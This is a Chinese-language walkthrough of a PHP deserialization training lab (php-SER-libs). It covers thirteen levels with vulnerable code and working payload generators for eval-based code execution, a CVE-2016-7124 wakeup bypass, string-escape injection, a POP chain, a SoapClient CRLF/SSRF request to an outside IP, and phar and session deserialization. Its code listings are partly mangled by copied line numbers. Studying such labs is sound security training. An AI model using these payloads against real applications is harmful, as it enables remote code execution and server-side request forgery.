题记 回顾一下php反序列化的一些内容
靶场地址https://github.com/fine-1/php-SER-libs 
前言 php反序列化的魔术方法
__construct()	在对象创建时调用
__destruct()		在对象销毁时调用
__call()					对象上下文中调用不可访问(不存在)的方法时调用
__get()					用于从不可访问的属性读取数据时调用
__wakeup()			当调用unserialize()会自动调用
__toString()		对象被当成字符串执行时调用
__invoke()		对象被当成函数执行时调用
说明 
关卡 
不适用其他版本的原因以及相关设置 
 
 
level4 create_fucntion与可变函数调用 
5.6不支持可变函数,7.2已废除create_function 
 
level5 序列化格式过滤与CVE-2016-7124 
CVE-2016-7124漏洞影响版本:PHP5 < 5.6.25,PHP7 < 7.0.10 
 
level6 私有属性反序列化 
escaped binary string(仅从php6开始支持) 
 
level7 __call与属性的初始值 
同上 
 
level10 just_one_soap 
需要开启soap扩展(php5.6:extension=php_soap) 
 
level11 a phar 和 level12 a phar trick 
php.ini中phar.readonly=Off(若有分号则去掉) 
 
level13 引用和session 
session.auto_start=0; session.serialize_handler = php;(level13均为默认设置) 
 
leve14 session.upload_progress 
session.auto_start=0; session.serialize_handler = php_serialize; session.upload_progress.enabled = On; session.upload_progress.cleanup = Off; session.upload_progress.prefix = “upload_progress_”; session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”; session.upload_progress.freq = “1%”; session.upload_progress.min_freq = “1”; 
 
Level-1(类的实例化) 1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );class  a     var  $act ;     function  action (         eval ($this ->act);     } } $a =unserialize ($_GET ['flag' ]);$a ->action ();?> 
action()方法里面有eval函数执行语句,创建一个类,传参到act,act里是执行语句,并调用action()方法
payload:
1 2 3 4 5 6 7 8 9 10 11 12 <?php class  a     var  $act ;     function  action (         eval ($this ->act);     } } $a =new  a ();$a ->act="show_source('flag.php');" ;$a ->action ();echo  serialize ($a );?> 
Level-2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );include ("flag.php" );class  mylogin     var  $user ; 	var  $pass ; 	function  __construct ($user ,$pass  		$this ->user=$user ; 		$this ->pass=$pass ; 	}     function  login ( 		if  ($this ->user=="daydream"  and  $this ->pass=="ok" ){ 			return  1 ; 		}     } } $a =unserialize ($_GET ['param' ]);if ($a ->login ()){ 	echo  $flag ; } ?>  
通过代码判断当user和pass参数分别等于daydream和ok,则返回1,然后显示flag值。并且有construct()方法,对象创建时调用
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php class  mylogin     var  $user ; 	var  $pass ; 	function  __construct ($user ,$pass  		$this ->user=$user ; 		$this ->pass=$pass ; 	}     function  login ( 		if  ($this ->user=="daydream"  and  $this ->pass=="ok" ){ 			return  1 ; 		}     } } $a =new  mylogin ("daydream" ,"ok" );$a ->login ();echo  serialize ($a );?>  
Level-3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );include ("flag.php" );class  mylogin     var  $user ;     var  $pass ;     function  __construct ($user ,$pass          $this ->user=$user ;         $this ->pass=$pass ;     }     function  login (         if  ($this ->user=="daydream"  and  $this ->pass=="ok" ){             return  1 ;         }     } } $a =unserialize ($_COOKIE ['param' ]);if ($a ->login ()){     echo  $flag ; } ?>  
第三关和第二关同理,只是提交方式改变了,从GET方式改成了COOKIE,用bp抓包将payload进行url编码后写到cookies里重放数据包即可。
为什么使用urlencode,因为在反序列化时,protected和private变量序列化后会出现不可见的字符,private变量序列化后变量前\00类名\00,而protected变量序列化后变量前\00*类名\00
Level-4(create_fucntion与可变函数调用) 说明一下create_function
php5.6不支持可变函数,而在PHP7.2后完全废除create_function
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php  highlight_file (__FILE__ );class  func         public  $key ;         public  function  __destruct (          {                        unserialize ($this ->key);         }  } class  GetFlag public  $code ;        public  $action ;         public  function  get_flag (             $a =$this ->action;             $a ('' , $this ->code);         } } unserialize ($_GET ['param' ]);?> 
分析:
$a(‘’, $this->code);
变量带括号说明这个地方是一个函数,而a接收action,在action写入”create_function”,而后面$this->code传入的是代码,写入include包含flag.php时,反序列化的时候会产生如下
1 2 O:4 :"func" :1 :{s:3 :"key" ;s:136 :"a:2:{i:0;O:7:" GetFlag":2:{s:4:" code";s:34:" include ("flag.php" );echo  $flag ; 
include被包在了引号里面,所以需要使用}对34:”闭合,使用array(),将create_function进而成为常规函数,且在对象func结束时调用destruct中的反序列化,所以要在进行序列化后传入key
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class  func     public  $key ;     public  function  __destruct (      {        unserialize ($this ->key)();     } } class  GetFlag     public  $code ;     public  $action ;     public  function  get_flag (         $a =$this ->action;         $a ('' , $this ->code);     } } $a1 =new  func ();$b =new  GetFlag ();$b ->code='}include("flag.php");echo $flag;//' ;$b ->action="create_function" ;$a1 ->key=serialize (array ($b ,"get_flag" ));echo  serialize ($a1 );?> 
Level-5(序列化格式过滤与CVE-2016-7124) 由前面可以知道在调用unserialize()方法时,如果有wakeup()方法则会优先调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php     class  secret          var  $file ='index.php' ;         public  function  __construct ($file              $this ->file=$file ;         }         function  __destruct (             include_once ($this ->file); 			echo  $flag ;         }         function  __wakeup (             $this ->file='index.php' ;         }     } 	$cmd =$_GET ['cmd' ];     if  (!isset ($cmd )){         echo  show_source ('index.php' ,true );     }     else {         if  (preg_match ('/[oc]:\d+:/i' ,$cmd )){             echo  "Are you daydreaming?" ;         }         else {             unserialize ($cmd );         }     } 	 ?> 
分析:
创建了secret对象,默认调用construct方法,并传入文件名flag.php,但在下面判断时有一个正则匹配,匹配O:[0-9],[oc]就是判断包含O或C,\d任意整数[0-9],/i是不分辨大小写。
这里可以通过str_replace()函数绕过,将反序列化后的语句传入该函数,$b=str_replace(“O:6”,”O:+6”,”$b”)。
接着就到else判断,有一个反序列化,调用wakeup()方法将我们之前传入的flag.php改成了index.php。利用CVE-2016-7124,当表示对象属性个数的值大于真实的属性个数的值时,绕过wakeup()方法,最后对payload进行url编码,原因在上述提到过。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class  secret     var  $file ='index.php' ;     public  function  __construct ($file          $this ->file=$file ;         echo  $flag ;     }     function  __destruct (         include_once ($this ->file);     }     function  __wakeup (         $this ->file='index.php' ;     } } $pa =new  secret ('flag.php' );echo  serialize ($pa ),"\n" ;$cmd =urlencode ('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}' );echo  $cmd ;?> 
Level-6(私有属性反序列化) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php highlight_file (__FILE__ );class  secret     private  $comm ;     public  function  __construct ($com          $this ->comm = $com ;     }     function  __destruct (         echo  eval ($this ->comm);     } } $param =$_GET ['param' ];$param =str_replace ("%" ,"daydream" ,$param );unserialize ($param );?> 
上述提到,private和protected类型反序列化后是不一样的
private变量是\00+类名+\00(变量名)
protected变量是\00+*+类名+\00(变量名)
也可以使用%00
由于该题是private变量,且该题有替换,将%替换成daydream,则在反序列化后在payload里加入\00+secret+\00
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class  secret     private  $comm ;     public  function  __construct ($com          $this ->comm = $com ;     }     function  __destruct (         echo  eval ($this ->comm);     } } $pa =new  secret ("system('type flag.php');" );echo  serialize ($pa ),"\n" ;?> 
Level-7(__call与属性的初始值) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php highlight_file (__FILE__ );class  you     private  $body ;     private  $pro ='' ;     function  __destruct (      {        $project =$this ->pro;         $this ->body->$project ();     } } class  my     public  $name ;     function  __call ($func , $args       {        if  ($func  == 'yourname'  and  $this ->name == 'myname' ) {             include ('flag.php' );             echo  $flag ;         }     } } $a =$_GET ['a' ];unserialize ($a );?> 
分析:先new一个you对象和my对象,在my类里__call()函数进行判断,当函数名为yourname和当前属性name为myname则返回flag。
对you类分析,有一个__destruct(),里面可以将this->pro作为函数名赋值给project函数,假设this->body是对象my,调用project方法,而该方法在类my不存在则默认调用__call()方法,所以可以创建__construct()方法,将对象my赋值给this->body。
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php class  you     private  $body ;     private  $pro ;     function  __construct (         $this ->body=new  my ();         $this ->pro='yourname' ;     }     function  __destruct (      {        $project =$this ->pro;         $this ->body->$project ();     } } class  my     public  $name ='myname' ;     function  __call ($func , $args       {        if  ($func  == 'yourname'  and  $this ->name == 'myname' ) {             include ('flag.php' );             echo  $flag ;         }     } } $p =new  you ();echo  serialize ($p );?> 
Level-8(反序列化增逃逸) php反序列化字符逃逸详解 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );function  filter ($name     $safe =array ("flag" ,"php" );     $name =str_replace ($safe ,"hack" ,$name );     return  $name ; } class  test     var  $user ;     var  $pass ='daydream' ;     function  __construct ($user          $this ->user=$user ;     } } $param =$_GET ['param' ];$profile =unserialize (filter ($param ));if  ($profile ->pass=='escaping' ){    echo  file_get_contents ("flag.php" ); } ?> 
分析:有一个过滤函数,对于序列化后的结果只要在数组中出现flag或者php,就会替换为hack,从test类入手,construct方法没有对pass处理,就是pass是固定为daydream,现在要做的目的就是设法把daydream替换为escaping
1 O:4 :"test" :2 :{s:4 :"user" ;s:1 :"1" ;s:4 :"pass" ;s:8 :"daydream" ;} 
逃逸的内容”;s:4:”pass”;s:8:”daydream”;},一共是29个字符,所以29*3,3为php字符个数
1 2 phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:" pass";s:8:" escaping";}  
传到到user参数里,反序列化时后面的pass序列化后内容就被覆盖,则会执行user里面的语句
1 O:4 :"test" :2 :{s:4 :"user" ;s:116 :"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp" ;s:4 :"pass" ;s:8 :"escaping" ;}";s:4:" pass";s:8:" daydream";}  
Level-9(Ezpop) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php highlight_file (__FILE__ );class  Modifier      private  $var ;     public  function  append ($value       {        include ($value );         echo  $flag ;     }     public  function  __invoke (         $this ->append ($this ->var );     } } class  Show     public  $source ;     public  $str ;     public  function  __toString (         return  $this ->str->source;     }     public  function  __wakeup (         echo  $this ->source;     } } class  Test     public  $p ;     public  function  __construct (         $this ->p = array ();     }     public  function  __get ($key          $function  = $this ->p;         return  $function ();     } } if (isset ($_GET ['pop' ])){    unserialize ($_GET ['pop' ]); } ?> 
一条简单的pop链
分析:有include包含,可以判断Modifier是最后的利用类部分,字符是可控的。有__wakeup()方法,且有echo输出,从Show类入手,对象被当成字符串执行会调用__toString()方法,会返回一个值,把str赋值为Test对象,类里没有source,会调用__get()方法,在该方法里返回一个函数,将p赋值为Modifier对象,就会调用__invoke()方法,接着调用append()方法,之后包含参数值,参数值在提示里有flag.php
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php class  Modifier      private  $var ="flag.php" ;     public  function  append ($value       {        include ($value );         echo  $flag ;     }     public  function  __invoke (         $this ->append ($this ->var );     } } class  Show     public  $source ;     public  $str ;     public  function  __toString (         return  $this ->str->source;     }     public  function  __wakeup (         echo  $this ->source;     } } class  Test     public  $p ;     public  function  __construct (         $this ->p = array ();     }     public  function  __get ($key          $function  = $this ->p;         return  $function ();     } } $a =new  Modifier ();$b =new  Show ();$c =new  Test ();$b ->source=$b ;$b ->source->str=$c ;$c ->p=$a ;echo  "\n" ;echo  urlencode (serialize ($b ));
Level-10(SOAP服务) SOAP 是基于 XML 的简易协议,可使应用程序在 HTTP 之上进行信息交换。
或者更简单地说:SOAP 是用于访问网络服务的协议。
需要在php里开启SOAP扩展
SOAP安全方面的使用 
SoapClient 的类对象的时候,需要有两个参数,一个是字符串形式的wsdl ,另一个是数组形式的options 。
由于SoapClient 原生类中包含__call方法,并且我们知道:当调用一个对象中不存在的方法时候,会执行call()魔术方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php highlight_file (__FILE__ );$c  = unserialize ($_GET ['param' ]);$c  -> daydream ();?> 
分析:代码里的daydream()是未知方法,可以使用SOAPClient原生类调用未知方法执行__call()函数
构造payload:
1 2 3 4 5 6 7 8 9 <?php $post_data ='pass=password' ;$data_len =strlen ($post_data );$a  = new  SoapClient (null ,array ('location' =>'http://202.182.125.24:43857/test' ,'user_agent' =>'admin^^Content-Type: application/x-www-form-urlencoded^^Content-Length: ' .$data_len .'^^^^' .$post_data ,'uri' =>'bbba' ));$b  = serialize ($a );$b  = str_replace ('^^' ,"\r\n" ,$b );$b  = str_replace ('&' ,'&' ,$b );echo  urlencode ($b );
HTTP请求头之间的参数用一组\r\n分割即可
HTTP请求头与POSTDATA之间要用两个\r\n分割.
本地使用nc启动监听,向目标发送payload
UA里面有admin,而且Content-Type也从XML修改为x-www-form-urlencoded,之后flag.txt就被写入到服务器的文件夹里
Level-11(phar) PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发
Phar需要 PHP >= 5.2 在php.ini中将phar.readonly设为Off(注意去掉前面的分号) 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file (__FILE__ );class  TestObject      public  function  __destruct (         include ('flag.php' );         echo  $flag ;     } } $filename  = $_POST ['file' ];if  (isset ($filename )){    echo  md5_file ($filename ); } ?> 
分析:先创建一个phar文件,上传到服务器,一般phar有伪协议来查看文件,phar://
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class  TestObject  } @unlink ("phar1.phar" ); $phar  = new  Phar ("phar1.phar" );$phar ->startBuffering ();$phar ->setStub ("GIF89a" ."<?php __HALT_COMPILER(); ?>" );$o  = new  TestObject ();$phar ->setMetadata ($o );$phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering ();?> 
Level-12(phar II) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );class  TestObject      public  function  __destruct (         include ('flag.php' );         echo  $flag ;     } } $filename  = $_POST ['file' ];$boo1 =1 ;$black_list =['php' ,'file' ,'glob' ,'data' ,'http' ,'ftp' ,'zip' ,'https' ,'ftps' ,'phar' ];foreach ($black_list  as  $item ){    $front =substr ($filename ,0 ,strlen ($item ));     if  ($front ==$item ){         $boo1 =0 ;     } } if  (isset ($filename ) and  $boo1 ){    echo  md5_file ($filename ); } ?>  
12关在11关的基础上加了黑名单过滤
payload:
Level-13(Session) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );session_start ();class  Flag     public  $name ;     public  $her ;     function  __wakeup (         $this ->name=$this ->her=md5 (rand (1 , 10000 ));         if  ($this ->name===$this ->her){             include ('flag.php' );             echo  $flag ;         }     } } ?> <?php highlight_file (__FILE__ );ini_set ('session.serialize_handler' , 'php_serialize' );session_start ();$_SESSION ['a' ] = $_GET ['a' ];?> 
分析:__wakeup()方法,且hint.php有序列化
PHP ini_set用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置
在php 5.5.4以前默认选择的是php,5.5.4之后就是php_serialize
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class  Flag     public  $name ;     public  $her ;     function  __wakeup (         $this ->name=$this ->her=md5 (rand (1 , 10000 ));         if  ($this ->name===$this ->her){             include ('flag.php' );             echo  $flag ;         }     } } $b =new  Flag ();$b ->her=&$b ->name;echo  serialize ($b );?> 
此时序列化之后,|后面的数据就会作为value,而前面的数据会作为key,从而执行value的内容,然后重新访问index.php